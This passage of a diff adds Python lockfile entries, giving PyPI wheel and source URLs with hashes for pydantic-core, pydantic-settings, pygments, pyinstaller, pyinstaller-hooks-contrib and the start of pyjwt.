+ { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" },
+ { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" },
+ { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" },
+ { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" },
+ { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" },
+ { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" },
+ { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" },
+ { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" },
+ { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" },
+ { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" },
+ { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" },
+ { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" },
+ { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" },
+ { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" },
+ { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" },
+ { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" },
+ { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" },
+ { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" },
+ { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" },
+ { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" },
+ { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" },
+ { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" },
+ { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" },
+ { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" },
+ { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" },
+ { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" },
+]
+
+[[package]]
+name = "pydantic-settings"
+version = "2.14.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pydantic" },
+ { name = "python-dotenv" },
+ { name = "typing-inspection" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f", size = 237700, upload-time = "2026-06-19T13:44:56.324Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440", size = 61715, upload-time = "2026-06-19T13:44:55.02Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.20.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
+]
+
+[[package]]
+name = "pyinstaller"
+version = "6.21.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "altgraph" },
+ { name = "macholib", marker = "sys_platform == 'darwin'" },
+ { name = "packaging" },
+ { name = "pefile", marker = "sys_platform == 'win32'" },
+ { name = "pyinstaller-hooks-contrib" },
+ { name = "pywin32-ctypes", marker = "sys_platform == 'win32'" },
+ { name = "setuptools" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d5/4d/ec706c3fcf39e26888c35b39615ff4d5865d184069666c47492cff1fbe50/pyinstaller-6.21.0.tar.gz", hash = "sha256:bb9fab705983e393a2d1cac77d6972513057ad800215fd861dc15ff5272e98fd", size = 4061519, upload-time = "2026-06-13T14:15:06.25Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0c/4a/53cf98bf66daed012dc9cd78c8203f19a675d696f2fc12afcf8c5049a0e0/pyinstaller-6.21.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:327d132389f37912609e01be62810cf96b5aa95b613903e4b8692e0d12fb0eda", size = 1052350, upload-time = "2026-06-13T14:13:55.88Z" },
+ { url = "https://files.pythonhosted.org/packages/30/83/b591295c352ef464c50b4c6ffff1c4f771d875c9e833f578d1b9f564f6b3/pyinstaller-6.21.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7071d4b094d5b40deeef5fa3d3b98a1b846087f7562b49209663d5f9281fe251", size = 748477, upload-time = "2026-06-13T14:14:00.327Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/8f/88fff4e403873b1e22286911350e75ff00db014aa08e57045da9d4328993/pyinstaller-6.21.0-py3-none-manylinux2014_i686.whl", hash = "sha256:6b6374d652107dd4a2eeece903ff82bb4045bb5e1006c5a158a6dcdbefe84bf2", size = 760877, upload-time = "2026-06-13T14:14:04.836Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/13/f0e48fbdfd1d05d948157121cea8b1b823dcb89efe6934b71fdd8bdb3f0f/pyinstaller-6.21.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:4e3108b3f02384560da70e39b8bf22b0ad597d02bd68a40d76ea91c1cfa00cad", size = 759194, upload-time = "2026-06-13T14:14:10.61Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/d5/ea7878cf9924ed30d946d8288777424e6d069d94f5bde56b4d0890069664/pyinstaller-6.21.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:697532279f535ad572bda613db4f821540e235c7854ca6da4d3bf0373f4415ee", size = 754979, upload-time = "2026-06-13T14:14:15.226Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/09/51b8905714b733bac66dbc041a7821372d70d888d273ae474c4037d4202d/pyinstaller-6.21.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:605169523a6b5ace39f13dfbff21add9f2bc43df99c7daf9394fefb2c45e8b6f", size = 754812, upload-time = "2026-06-13T14:14:20.264Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/43/d77779439d8c6c2e27a77bcfbd1d5cc0f568ebb611bb472b11af81b5f177/pyinstaller-6.21.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:5fa56746c1e76f93634d018502301378a2d0c382553d37d8c3c34ff436c12dd1", size = 753887, upload-time = "2026-06-13T14:14:25.268Z" },
+ { url = "https://files.pythonhosted.org/packages/51/8f/c22df1f6837784ac349057ba693f08e7b1ca7a0e06f9c33c63bc6280007b/pyinstaller-6.21.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:42395ec76df8e8120c36b13339d9db8cab83e316a12839ee303cc00fc941bb74", size = 753779, upload-time = "2026-06-13T14:14:29.445Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/76/1ce8a27ce62ba8cf3a87c9ce6d575610f4e55d7cb0123e7512fc3f4b921a/pyinstaller-6.21.0-py3-none-win32.whl", hash = "sha256:c6b28d30d8fd99ce162ff3aab5013ed44dbfb747566b1f01b9bed7964d7c14e9", size = 1336462, upload-time = "2026-06-13T14:14:35.785Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/fa/ca1d7e5257dd8566a9dfc0dfb02f8a8075eeb53d4b2d3c579f1276759042/pyinstaller-6.21.0-py3-none-win_amd64.whl", hash = "sha256:7fae06c494ce0ebfe6bd3055c0e409def884f63af2e3705d06bd431ad9237fc7", size = 1397487, upload-time = "2026-06-13T14:14:42.328Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/75/21b51523ce8d96629b71311775a0a65f5f5a872124ab0de33e5c848f8bff/pyinstaller-6.21.0-py3-none-win_arm64.whl", hash = "sha256:f13c95c9c03fb567217135919f93815c305813126780b0ed6e0123cb8acaf025", size = 1346094, upload-time = "2026-06-13T14:14:48.914Z" },
+]
+
+[[package]]
+name = "pyinstaller-hooks-contrib"
+version = "2026.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "packaging" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/94/5b/c9fe0db5e83ee1c39b2258fa21d23b15e1a60786b6c5990ee5074ead8bb6/pyinstaller_hooks_contrib-2026.6.tar.gz", hash = "sha256:bef5002c32f4f50bd55b005da12cff64eca8783e7eaf86a06a62410164bab725", size = 173354, upload-time = "2026-06-08T22:37:16.152Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e7/31/f2d7343d8ed5f7c4678377886f6ce533e6eaaa131b252ce950114c2a7efa/pyinstaller_hooks_contrib-2026.6-py3-none-any.whl", hash = "sha256:fd13b8ac126b35361175edacd41a0d97080b75dd5f4b594ecefefff969509dd3", size = 457159, upload-time = "2026-06-08T22:37:14.722Z" },
+]
+
+[[package]]
+name = "pyjwt"
+version = "2.13.0"
+source = { registry = "https://pypi.org/simple" }
